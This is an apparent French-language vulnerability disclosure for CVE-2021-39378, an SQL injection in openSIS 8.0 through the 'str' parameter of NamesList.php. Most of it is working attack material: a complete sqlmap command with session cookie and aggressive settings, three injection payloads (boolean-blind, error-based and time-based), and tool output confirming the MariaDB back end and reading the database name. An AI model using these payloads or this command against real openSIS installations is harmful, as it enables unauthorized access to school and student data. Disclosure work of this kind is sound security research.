VULNÉRABILITÉ D'INJECTION SQL DANS OPENSIS 8.0 CVE-2021-39378

Une vulnérabilité d'injection SQL existe dans la version 8.0 d'openSIS lorsque MySQL (MariaDB) est utilisé comme base de données de l'application. Un attaquant malveillant peut exécuter des commandes SQL sur la base de données MySQL (MariaDB) via le paramètre vulnérable str=.

Page PHP vulnérable :

NamesList.php

Charge utile vulnérable

sqlmap -u "http://localhost:8081/NamesList.php?str=J&block_id=1" --cookie="PHPSESSID=s8n71sv8ji77mdjkmh6cj1ik5d; miniSidebar=0" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36" --referer="http://localhost:8081/Modules.php?modname=miscellaneous/Portal.php&failed_login=0" --delay=0 --timeout=30 --retries=0 --dbms="MySQL" --level=3 --risk=3 --threads=8 --time-sec=5 -b --current-db --batch --answers="crack=N,dict=N,continue=Y,quit=N"

Injection SQL :

http://localhost:8081/NamesList.php

Parameter: str (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: str=J%' AND 4830=4830 AND 'mmPI%'='mmPI&block_id=1

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: str=J%' AND (SELECT 5261 FROM(SELECT COUNT(*),CONCAT(0x716b6b7a71,(SELECT (ELT(5261=5261,1))),0x7176706a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'YfUK%'='YfUK&block_id=1

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: str=J%' AND (SELECT 9071 FROM (SELECT(SLEEP(5)))hYUR) AND 'vbOt%'='vbOt&block_id=1

[18:41:23] [INFO] testing MySQL
[18:41:23] [WARNING] reflective value(s) found and filtering out
[18:41:23] [INFO] confirming MySQL
[18:41:23] [INFO] the back-end DBMS is MySQL
[18:41:23] [INFO] fetching banner
[18:41:23] [INFO] resumed: '10.5.11-MariaDB-1'
web application technology: PHP 7.4.21
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
banner: '10.5.11-MariaDB-1'
[18:41:23] [INFO] fetching current database
[18:41:23] [INFO] resumed: 'opensis5'
current database: 'opensis5'

Découvert par Nathan Johnson, août 2021

CVE-2021-39378

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VULNÉRABILITÉ D'INJECTION SQL DANS OPENSIS 8.0 CVE-2021-39378